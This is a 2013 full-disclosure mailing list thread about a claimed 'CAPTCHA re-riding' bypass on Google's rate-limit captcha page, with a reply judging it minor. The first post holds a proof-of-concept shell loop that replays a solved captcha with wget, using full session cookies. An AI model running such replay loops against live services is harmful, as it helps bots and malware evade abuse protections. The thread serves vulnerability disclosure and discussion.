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Date: Mon, 26 Aug 2013 23:04:12 +0700
From: kevin philips <gamma95@...il.com>
To: adam <adam@...sy.net>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: CAPTCHA re-riding attack in https://google.com

Hi Adam,
As discussed, this issue just a captcha bypass problem. Except this case, I
don't know google still uses this captcha somewhere or not :). Anyway,
thank you Adam! Your reply is a very clear way to explain it.
See more:
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-008)
Cheers,
~g4mm4


On Mon, Aug 26, 2013 at 10:34 PM, adam <adam@...sy.net> wrote:

> What exactly is a re-riding attack? Is that just another name for replay?
> And does this only work in the sorry/continue context for google.com? If
> so, I don't think it's really that big of a deal either. Repeated requests,
> typically, are the cause of the sorry/continue page, so I can't see how
> _more_ repeated requests will somehow solve that. To be clear: sure, I get
> that for the time being - you're able to circumvent the captcha - if I'm
> understanding correctly. However, in this case, that captcha is only a
> courtesy anyway. It's the middle ground between normal user and infected
> machine/bot, where they give you a little extra leniency before totally
> banning you anyway. If I'm misunderstanding, or if it applies on a wider
> scale than that, please let me know.
>
>
> On Mon, Aug 26, 2013 at 12:07 AM, kevin philips <gamma95@...il.com> wrote:
>
>> folks,
>> I found CAPTCHA re-riding attack issue in https://google.com<https://webmail.vng.com.vn/owa/redir.aspx?C=MBNlh708PUqi0Yw_S1rA3DV_zLusddAIGU0MzN53skrHcqWc0vyF9vEfJjFxlgVRJcDYBVS8nws.&URL=https%3a%2f%2fgoogle.com>
>> .
>> PoC:
>> Loop request with correct captcha (in this case the value of captcha is
>> coppro):
>>
>> while true; do wget --header="Cookie:
>> PREF=ID=44ba1c9fba493ea4:U=e326f1400e3cc5b1:LD=vi:TM=1343010889:LM=1361717433:S=2dw8AygnrF9_TW_I;
>> NID=67=mwocoU0FoMG_dewxiEO3zDc7LLQtKVabiaezQsipcVb-020jysQ9qfngMTyIYNGsub8G7eQBqQPuTXUAO3GJVFZZWjF4tawOwj0KGaRTbw27z0ZEuZtSN-98hX1KedvpY_rzoHyd-InVhDtoG9dqONDS88RmP8JxgZAz7GhtH_QWpTk1WUIY4WTMb6AQ5f58oYUlgQ;
>> SID=DQAAAMEAAAAeueuQrtMIKY0NaJovAs1RyF3U1GgJWaoy5UBsCcZV3i2BF5jflSj7nG8YhPQoAe5kwE0eBjJzqeEafDuSTuTaTAGECW0rv2Fw1SQ8NHRzf9m4ymwerpALiHDeHUUlOlWmbrhXzjVm_RMkfvqohuwmHHAHPJKi-8MyKQbjiQd5lGEIH0JArQ8lUEuuqRRVUjBsTXis1TPqQWwHcHY5Chtm2ZOhZxoy2Xj59q8s_eC-Gj5YJ70jisfQrIWjhbjWeB3HvFVXinAWUVdvA6_5VbJ1;
>> HSID=ACvpz7M2xPdk68Q6x; APISID=C9DV1u24Umr1AfnD/AfEqGieNRVPzU6fur;
>> GDSESS=ID=cba44dffe2e20f09:TM=1374658124:C=c:IP=123.30.135.76-:S=APGng0snWLymjFQpx5DRXTM0yyoZnM5h5w"
>> "
>> http://www.google.com.vn/sorry/Captcha?continue=http%3A%2F%2Fwww.google.com.vn%2Fsearch%3Fq%3Dcaptcha%2Bre%2Briding%2Battack%26client%3Dubuntu%26channel%3Dcs%26oq%3Dcaptcha%2Bre%2Briding%2Battack%26aqs%3Dchrome.0.69i57j69i65.6126j0%26sourceid%3Dchrome%26ie%3DUTF-8&id=17901488348886592341&captcha=coppro&submit=G%E1%BB%ADi<https://webmail.vng.com.vn/owa/redir.aspx?C=MBNlh708PUqi0Yw_S1rA3DV_zLusddAIGU0MzN53skrHcqWc0vyF9vEfJjFxlgVRJcDYBVS8nws.&URL=http%3a%2f%2fwww.google.com.vn%2fsorry%2fCaptcha%3fcontinue%3dhttp%253A%252F%252Fwww.google.com.vn%252Fsearch%253Fq%253Dcaptcha%252Bre%252Briding%252Battack%2526client%253Dubuntu%2526channel%253Dcs%2526oq%253Dcaptcha%252Bre%252Briding%252Battack%2526aqs%253Dchrome.0.69i57j69i65.6126j0%2526sourceid%253Dchrome%2526ie%253DUTF-8%26id%3d17901488348886592341%26captcha%3dcoppro%26submit%3dG%25E1%25BB%25ADi>"
>> -qd; done
>>
>>
>> Abuse this bug, malware, automation scanner, zombie computers, SEO bot
>> can bypass the google captcha with the correct initiation captcha for
>> malicious actions.
>>
>> References:
>> _https://blog.whitehatsec.com/top-ten-web-hacking-techniques-of-2012/
>> _http://gursevkalra.blogspot.com/2012/03/captcha-re-riding-attack.html
>>
>> Updated: Sadly, Google Security Team considers "captcha re-riding attack"
>> in this case is not critical bug. Well, I decide to post  to Full
>> Disclosure for more discussions.
>> ~g4mm4
>>
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>
>


-- 
--g4mm4

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